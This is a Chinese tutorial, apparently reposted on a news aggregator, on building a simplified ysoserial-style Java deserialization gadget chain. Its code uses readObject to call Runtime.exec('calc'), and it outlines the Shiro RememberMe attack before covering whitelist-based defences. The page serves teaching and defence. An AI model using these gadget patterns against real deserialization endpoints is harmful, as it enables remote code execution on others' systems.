当前位置: 首页 > news >正文

从“Hello World”到漏洞利用:用Java写一个自己的简易版ysoserial(理解Gadget链)

从零构建Java反序列化漏洞:手写简易版Gadget链

当你第一次听说Java反序列化漏洞时,是否对那些神奇的"Gadget链"感到困惑?为什么简单的对象反序列化就能触发命令执行?本文将带你从最基础的Java序列化机制开始,逐步构建一个能弹出计算器的简易漏洞链。不同于直接使用ysoserial工具,我们会从创造者的角度,用不到200行代码还原漏洞本质。适合已经掌握Java基础语法,想深入理解安全原理的开发者。

1. Java序列化机制基础

Java序列化就像把一个对象"拍扁"成字节流,而反序列化则是将这些字节"还原"成活的对象。这个机制在日常开发中常用于网络传输或持久化存储。让我们先看一个最简单的可序列化类:

import java.io.Serializable; public class Person implements Serializable { private String name; public Person(String name) { this.name = name; } // 标准的getter/setter省略... }

要使类可序列化,只需实现Serializable标记接口。序列化和反序列化的基本操作如下:

// 序列化 Person alice = new Person("Alice"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("data.bin")); oos.writeObject(alice); oos.close(); // 反序列化 ObjectInputStream ois = new ObjectInputStream(new FileInputStream("data.bin")); Person person = (Person) ois.readObject(); ois.close();

关键点:当对象被反序列化时,JVM会调用该类的readObject()方法。如果类中没有自定义这个方法,就会使用默认实现。但如果我们重写它...

2. 危险的readObject重写

让我们修改Person类,加入自定义的readObject方法:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); // 先调用默认反序列化 System.out.println("[!] 反序列化触发: " + this.name); }

现在当我们反序列化这个对象时,控制台会打印出警告信息。这本身无害,但设想如果这里的代码不是打印日志,而是执行系统命令...

3. 构造第一条Gadget链

真正的漏洞利用需要将多个类的操作"链式"组合起来。让我们创建一个包含Runtime.exec的简单链:

public class ExploitObject implements Serializable { private String command; public ExploitObject(String cmd) { this.command = cmd; } private void readObject(ObjectInputStream ois) throws Exception { ois.defaultReadObject(); Runtime.getRuntime().exec(this.command); } }

测试这个漏洞链:

// 生成恶意序列化数据 ExploitObject exploit = new ExploitObject("calc"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exploit.bin")); oos.writeObject(exploit); oos.close(); // 受害者反序列化 ObjectInputStream ois = new ObjectInputStream(new FileInputStream("exploit.bin")); ois.readObject(); // 计算器弹出!

这已经是一个完整的漏洞利用,但现实中很少有这么直接的案例。更常见的是通过多个类的组合间接触发命令执行。

4. 多级Gadget链构造

让我们构建一个更接近真实场景的两级调用链。首先定义两个类:

public class Gadget1 implements Serializable { private Runnable action; public void setAction(Runnable action) { this.action = action; } private void readObject(ObjectInputStream ois) throws Exception { ois.defaultReadObject(); this.action.run(); // 关键点:反序列化时自动执行 } } public class Gadget2 implements Serializable, Runnable { private String command; public Gadget2(String cmd) { this.command = cmd; } @Override public void run() { try { Runtime.getRuntime().exec(this.command); } catch (IOException e) { e.printStackTrace(); } } }

利用链的组装方式:

Gadget2 g2 = new Gadget2("calc"); Gadget1 g1 = new Gadget1(); g1.setAction(g2); // 序列化 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("gadget.bin")); oos.writeObject(g1); oos.close(); // 反序列化触发 ObjectInputStream ois = new ObjectInputStream(new FileInputStream("gadget.bin")); ois.readObject(); // 依然弹出计算器

这种间接调用模式正是ysoserial中各种payload的核心思路。通过精心设计的对象关系,让反序列化过程像多米诺骨牌一样触发一连串操作。

5. 防御措施与最佳实践

理解了攻击原理后,我们才能更好地防御。以下是几种常见防护方案:

白名单验证

public class SafeObjectInputStream extends ObjectInputStream { private static final Set<String> ALLOWED_CLASSES = Set.of("java.lang.String", "com.example.SafeClass"); protected SafeObjectInputStream(InputStream in) throws IOException { super(in); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!ALLOWED_CLASSES.contains(desc.getName())) { throw new InvalidClassException("Unauthorized deserialization attempt"); } return super.resolveClass(desc); } }

其他防御手段

  • 使用第三方安全库如Apache Commons IO的ValidatingObjectInputStream
  • 对序列化数据添加数字签名
  • 完全禁用不受信任源的序列化功能

6. 从原理看真实漏洞

理解了基础原理后,再看Shiro等框架的反序列化漏洞就更容易理解了。以Shiro RememberMe为例:

  1. 攻击者构造恶意序列化对象
  2. 使用已知AES密钥加密后作为Cookie发送
  3. Shiro解密后自动反序列化触发漏洞

整个过程与我们手写的Demo本质相同,只是多了加密层和框架自动处理的环节。

http://www.rkmt.cn/news/1477709.html

相关文章:

  • 2026医疗健康数据治理技术解析与优质服务商参考:企业数据治理方案/企业数智融合方案/全链路数据治理库/医疗健康数据治理/选择指南 - 优质品牌商家
  • 大模型评估指标全解析:困惑度、BLEU、ROUGE、BERTScore怎么用?
  • Web Speech API语音识别实战:从‘玩具Demo’到‘可用产品’的避坑指南
  • DsHidMini终极指南:如何在Windows 10/11上完美使用PS3手柄
  • 2026万向导缆器选型全攻略:船用掣链器/单点式系泊导缆孔/卷车/导缆滚轮/托架/滚柱导缆器/系缆桩/羊角单滚轮导缆器/选择指南 - 优质品牌商家
  • TensorFlow图像批量输入实战:构建健壮tf.data数据管道
  • Python collections模块五大核心组件实战指南
  • 2026年武汉离婚律师推荐 丁嫣13年婚姻家事实战经验 - 本地品牌推荐
  • 2026年盘扣租赁站技术维度评测与合规选型指南:方管租赁、江苏盘扣租赁、江苏钢管租赁、盘扣式脚手架租赁、脚手架钢管选择指南 - 优质品牌商家
  • 从一道CTF题复盘CVE-2021-3129:手把手解密Laravel漏洞流量中的Webshell与CobaltStrike密钥
  • 别再被FQDN卡住了!手把手教你搞定TDengine 2.x的远程连接(附Windows/Linux双端配置)
  • 2026年Q2鲁南地区红梅苗木专业供应商综合排行盘点:欧洲河桦苗木、红叶李苗木、绚丽海棠苗木、美国红枫苗木、鸡爪槭苗木选择指南 - 优质品牌商家
  • 从无人机到机械臂:滑模控制(Sliding Mode Control)在机器人里的实战避坑指南
  • LLM微调实战决策手册:Fine-Tuning、LoRA与RLHF工程落地指南
  • 抖音素材下载神器:3分钟掌握高效无水印下载技巧
  • 信息学奥赛一本通2058题:用C++ switch和if-else两种方法搞定简单计算器(附除零错误处理)
  • 别只点灯了!用ISE14.7深入理解FPGA开发流程:综合、实现与生成bit文件到底在干嘛?
  • 【紧急预警】CSDN AI选题功能开放行业词自定义!但92%运营人忽略这3个合规阈值与2个审核熔断点
  • JavaScript/TypeScript为何成为TVA的“交互皮肤”(4)
  • SAP BW/4HANA增量数据抽取实战:从ODP队列到ADSO的完整配置与避坑指南
  • 强关联材料中库仑相互作用的自洽计算方法
  • CVPR2021的Coordinate Attention到底好在哪?手把手教你用PyTorch复现源码并可视化效果
  • 广州载货简易升降机评测:广州室外简易升降机/广州导轨式简易升降机/广州导轨液压货梯/广州小型货梯/广州工业货梯/选择指南 - 优质品牌商家
  • 2026年XEBEC研磨刷权威供应商TOP5盘点:NAKANISHI电主轴/NAKANISHI研磨机/NAKANISHI高速主轴/选择指南 - 优质品牌商家
  • CTF新手村:5分钟搞定MISC签到题,从编码识别到工具使用一条龙
  • SAP财务开发:手把手教你用BTE 00001120实现会计凭证字段自动替换(附完整代码)
  • 告别手动翻目录!用Dirbuster+Java环境快速搭建你的第一个Web目录扫描器(附详细配置步骤)
  • 避开这些坑!Ninapro DB2数据处理与论文用图制作的完整避坑指南
  • 为什么95%的CSDN普通会员从未激活AI营销权限?3个被忽略的关键入口,今天必须检查!
  • 别再傻傻分不清了!C++项目里那些.c、.cpp、.hpp后缀到底有啥讲究?